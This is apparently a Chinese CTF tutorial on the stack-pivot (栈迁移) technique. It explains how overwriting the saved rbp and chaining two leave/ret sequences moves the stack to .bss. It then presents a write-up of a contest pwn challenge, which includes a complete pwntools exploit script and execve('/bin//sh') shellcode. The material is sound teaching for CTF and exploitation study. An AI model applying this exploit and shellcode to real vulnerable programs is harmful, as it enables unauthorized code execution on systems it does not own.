栈迁移基础
为什么要使用栈迁移
在栈溢出中可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用
原理
函数运行时会先保存一个rbp/ebp在栈里
push ebp
在运行结束时
pop ebp
来平衡堆栈
如果我们需要利用栈溢出,则必须覆盖掉ebp/rbp ,此时,当如果可将程序的返回地址劫持到
leave
retn
leave指令相当于:
mov esp,ebp
pop ebp
即把当前的ebp赋值给esp
并从栈中取出原先备份的ebp
假设程序代码为:
main(){
read(0,buf,100);
}
在main函数运行时,程序会push一次ebp
在read函数运行时,程序会push一次ebp
在read函数结束时,程序会leave一次,这时mov esp,ebp 对我们来说没什么用,但pop ebp可以将我们刚才在栈中覆盖ebp的备份地址,如(bss+0x100)提出给ebp;此时ebp的值更改为(bss+0x100)
在main函数结束时,程序会leave一次,这时通过mov esp,ebp ,ebp的地址会被赋给esp ,pop ebp, ebp地址变成ebp的值
如图为覆盖rbp为'11111111'(0x3131313131313131)的情况
劫持上面程序的rip,使用相同的payload再次跳转,那么此时的rsp地址将会变为rbp的上个地址 0x3131313131313131 rbp变为这次填充的rbp地址0x3131313131313131
此时完成对rsp rbp的修改 完成栈的迁移
完成栈迁移
栈迁移总结
对函数运行后push rbp(push ebp)保存在栈上的值进行修改
通过leave_ret两次栈上rbp值的覆盖
第一次覆盖修改rbp地址
第二次覆盖修改rsp与rbp的地址
完成两次覆盖后可以将栈顶指针与栈底指针都变换为我们需要的地址
安恒7月赛
本题考验了选手对 shellcode 的精简与布局,程序很简单,一个 read 函数溢出了 0x18 字节,最多只能覆盖到 ret 地址下方的 1 个栈空间。
程序栈可执行,但使用 ROPgadget 搜索了一下也没发现什么合适的 rop 指令。
利用思路:
溢出将 rbp 覆盖成 bss 段地址(leave 指令时修改 rbp 值),ret 覆盖到 lea 指令处。
payload1='a'*8+p64(elf.bss())+p64(0x40068A)
到下一次执行read后
可以看到buf已经被劫持到了bss段,
buf的长度为0
此时read读取的数据将直接覆盖到备份的rbp及以下的值
可以实现往bss 段地址写入shllcode 与shellcode 触发地址,再次leave 时stack_pviot 栈迁移到.bss 段 ret 到shellcode
触发地址,也可以先将栈迁移到bss再将shellcode写入运行
payload2='a'*8+p64(elf.bss()+16)+p64(0x40068A)
payload3=p64(elf.bss()+16)
payload3+="\x48\x31\xf6\x56\x48\xbf"
payload3+="\x2f\x62\x69\x6e\x2f"
payload3+="\x2f\x73\x68\x57\x54"
payload3+="\x5f\xb0\x3b\x99\x0f\x05"
exp:
#-*- coding: utf:8 -*-
from pwn import *
context.log_level="debug"
context.arch="amd64"
elf=ELF("unexploit")
poprdiret=0x400713
sh=0
lib=0
p=process("./unexploit")
payload1='a'*8+p64(elf.bss())+p64(0x40068A)
p.send(payload1)
payload2='a'*8+p64(elf.bss()+16)+p64(0x40068A)
pause()
p.send(payload2)
payload3=p64(elf.bss()+16)
payload3+="\x48\x31\xf6\x56\x48\xbf"
payload3+="\x2f\x62\x69\x6e\x2f"
payload3+="\x2f\x73\x68\x57\x54"
payload3+="\x5f\xb0\x3b\x99\x0f\x05"
p.send(payload3)
p.interactive()